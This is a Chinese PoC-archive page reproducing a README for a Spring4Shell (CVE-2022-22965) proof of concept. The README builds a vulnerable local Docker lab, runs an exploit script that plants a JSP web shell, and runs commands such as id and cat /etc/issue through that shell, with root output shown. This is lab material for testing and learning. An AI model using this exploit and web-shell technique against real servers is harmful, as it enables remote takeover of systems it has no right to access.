目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1310

100%

CVE-2022-22965 PoC — Spring Framework 代码注入漏洞

来源
关联漏洞
标题:Spring Framework 代码注入漏洞 (CVE-2022-22965)
Description:Spring Framework是美国Spring团队的一套开源的Java、JavaEE应用程序框架。该框架可帮助开发人员构建高质量的应用。 Spring Framework 存在代码注入漏洞,该漏洞源于 JDK 9+ 上的数据绑定的 RCE。以下产品和版本受到影响:5.3.0 至 5.3.17、5.2.0 至 5.2.19、较旧的和不受支持的版本也会受到影响。
Description
CVE-2022-22965 (Spring4Shell) Proof of Concept
介绍


# CVE-2022-22965 (Spring4Shell) Proof of Concept

![](img/spring4shell-logo.png)

## Test the RCE (Remote Code Execution) in Spring Core​

### Build the image

BuildKit based build is required so you need to enable it.

Easiest way is to set the **DOCKER_BUILDKIT=1** environment variable when invoking the docker build command, such as:

```console
$ DOCKER_BUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
```
Otherwise to enable docker BuildKit by default, set daemon configuration in _/etc/docker/daemon.json_ feature to true and restart the daemon:

```json
{ "features": { "buildkit": true } }
```
This way you can execute simply

```console
$ docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p 8080:8080 spring4shell-core
```

### Test the vulnerable application

```console
$ curl localhost:8080/spring4shell/exploitme
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Spring4Shell PoC Spring Application</title>
</head>
<body>
    Hello World! Exploit me!
</body>
</html>
```

### Run the exploit

```console
$ python3 exploit-core.py --url "http://localhost:8080/spring4shell/exploitme" --file shell
[*] Resetting Log Variables.
[*] Response code: 200
[*] Modifying Log Configurations
[*] Response code: 200
[*] Response Code: 200
[*] Resetting Log Variables.
[*] Response code: 200
[+] Exploit completed
[+] Check your target for a shell
[+] File: shell.jsp
[+] Shell should be at: http://localhost:8080/shell.jsp?cmd=id
```

If everything went right, execute arbitrary commands in the container through the Tomcat HTTP port, such as:

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=id --output -
uid=0(root) gid=0(root) groups=0(root)

//
```

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=whoami --output -
root

//
```

```console
$ curl http://localhost:8080/shell.jsp\?cmd\=cat%20/etc/issue --output -
Debian GNU/Linux 11 \n \l


//
```


文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →